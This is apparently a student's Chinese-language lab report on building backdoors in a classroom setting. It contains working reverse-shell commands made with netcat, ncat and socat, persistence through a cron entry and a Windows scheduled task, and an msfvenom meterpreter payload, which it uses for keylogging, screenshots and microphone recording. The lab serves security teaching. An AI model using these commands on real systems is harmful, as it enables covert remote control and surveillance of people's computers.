220164323 Exp2 后门原理与实践
(1)例举你能想到的一个后门进入到你系统中的可能方式?
在使用盗版软件,盗版系统,甚至游戏外挂时,往往会让我们关闭杀毒软件,。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win:任务计划启动
linux:通过cron启动
(3)Meterpreter有哪些给你映像深刻的功能?
无论是截屏,拍照,还是录音,都会泄露隐私,
(4)如何发现自己有系统有没有被安装后门?
通过查阅任务计划以及进程里是否有可疑项,安装杀毒软件也是一种方式。
Linux:192.168.38.128
Win10:192.168.1.144
学习ncat的使用
1.Win获得Linux Shell
- Win10打开cmd命令行,在ncat解压目录下,输入
ncat.exe -l -p 4323
对4323
端口进行监听 - 在Linux终端输入
nc 192.168.1.144 4323 -e /bin/sh
反弹连接Windows4323
端口 - Win10已获得Linux shell 虽然windows和Linux建立了连接,但是windows上使用正确的linux指令不会显示内容,但使用错误的linux指令会在linux上报错,我一直没有找到问题在哪,改了字符集也不会显示,在之后两者进行传输消息时,windows可以传输消息给linux,但linux上的消息不会再cmd上显示,不知道原因,如果有人可以帮我找到问题的话,请告诉我
2.Linux获得Win Shell
- Linux下打开一个终端,输入
nc -l -p 4323
对4323
端口进行监听 在Win命令行输入
ncat.exe -e cmd.exe 192.168.38.128 4323
反弹连接Linux4323
端口Linux已获得Win shell
3.使用nc传输信息
- Win10命令行输入
ncat.exe -l 4323
监听4323
端口 Linux终端输入
nc 192.168.1.144 4323
反弹连接windows4323端口建立连接后可互传信息
4.使用nc传输文件
- Win10命令行输入
ncat.exe -l 4323 > 1.txt
监听5228
端口,并设置收到的文件重定向保存到1.txt
Linux终端输入
nc 192.168.1.144 4323 < 2.txt
反弹连接Win104323端口Win10可收到Linux发来的文件。
实验内容
任务一:使用netcat获取主机操作Shell,cron启动
1、设定cronCron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
- Win7中打开对端口
4323
端口的监听。ncat.exe -l -p 4323
- Linux下使用
crontab -e
指令增加一条定时任务,-e
表示编辑 - 选择
3
,即编辑器。
根据m分钟 h小时 dom日期 mon月 dow周几 command执行的命令
的格式添加最后一行45* * * * /bin/netcat 192.168.1.144 4323 -e /bin/sh
保存退出
任务二:使用socat获取主机操作Shell, 任务计划启动
1、新建任务计划
- 原理: 在主控机的nc打开对4323端口的监听时,受控机的每一次锁定时都会启动ncat,相当于在cmd执行
ncat.exe -e cmd.exe 192.168.1.144 4323
,从而反弹连接到Linux。即Linux得到Win10 shell。
新建触发器:当锁定任何用户的工作站时
新建操作:
启动程序:socat所在路径\socat.exe
添加参数:tcp-listen:4323 exec:cmd.exe,pty,stderr
Linux终端输入socat - tcp:192.168.1.144:4323
,结果验证:
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Linux终端执行
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168. 38.128 LPORT=4323 -f exe > 20164323_backdoor.exe
生成后门程序20164323_backdoor.exeWin下执行
ncat.exe -l 4323 > 20164323_backdoor.exe
监听4323
端口,- Linux终端执行
nc 192.168.1.144 4323 < 20164323_backdoor.exe
反弹连接Win7并传输文件20164323_backdoor.exe
Linux终端执行
msfconsole
命令,并设置好IP地址和端口号
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options
执行监听
Win运行后门程序
Linux平台的监听进程将获得Win主机的主动连接,并得到远程控制shell。
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
record_mic
录制一段音频screenshot
进行截屏使用
screenshot
指令可以进行截屏- 在kali中使用
keyscan_start
指令开始,在windows中记录下击键的过程,使用keyscan_dump
指令读取击键的记录: 使用
getuid
指令查看当前用户实验中遇到的问题
虽然windows和Linux建立了连接,但是windows上使用正确的linux指令不会显示内容,但使用错误的linux指令会在linux上报错,我一直没有找到问题在哪,改了字符集也不会显示,在之后两者进行传输消息时,windows可以传输消息给linux,但linux上的消息不会在cmd上显示,还有生成后门时,弄混linux和windows的Ip地址造成很多次的监听错误,还有碰到防火墙还有杀毒软件的问题,之前生成的后门都被杀软杀掉了,而且没要找到传输过来的软件,最后我是利用杀毒软件找到的传输文件。
实验感想
这次的实验非常有意思,但觉得也很危险,通过这次实验更加了解了后门,同时加深了自己的警惕意识。黑客可能通过后门控制我们的电脑,通过截屏,击键记录还有摄像头来了解我们的信息,我们在平时一定要注意防范。